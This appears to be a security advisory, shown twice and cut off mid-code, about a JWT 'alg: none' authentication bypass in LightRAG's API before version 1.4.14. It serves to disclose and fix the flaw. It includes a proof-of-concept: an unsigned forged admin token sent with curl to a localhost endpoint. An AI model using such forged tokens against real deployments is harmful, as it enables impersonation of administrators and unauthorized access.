LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.

Affected: PyPI: lightrag-hku

## Summary The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the `jwt.decode()` call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

## Details In `lightrag/api/auth.py` at line 128, the `validate_token` method calls:

```python payload = jwt.decode(token, self.secret, algorithms=[self.algorithm]) ```

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

## PoC An attacker can generate a JWT with the following structure:

```json { "header": { "alg": "none", "typ": "JWT" }, "payload": { "sub": "admin", "exp": 1700000000, "role": "admin" } } ```

Then send a request like:

```bash curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint ```

## Impact An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

## Recommended Fix Explicitly specify allowed algorithms and exclude 'none'. Modify the `validate_token` method to:

```python allowed_algorithms =…

Affected: PyPI: lightrag-hku

## Summary The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the `jwt.decode()` call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

## Details In `lightrag/api/auth.py` at line 128, the `validate_token` method calls:

```python payload = jwt.decode(token, self.secret, algorithms=[self.algorithm]) ```

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

## PoC An attacker can generate a JWT with the following structure:

```json { "header": { "alg": "none", "typ": "JWT" }, "payload": { "sub": "admin", "exp": 1700000000, "role": "admin" } } ```

Then send a request like:

```bash curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint ```

## Impact An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

## Recommended Fix Explicitly specify allowed algorithms and exclude 'none'. Modify the `validate_token` method to:

```python allowed_algorithms =…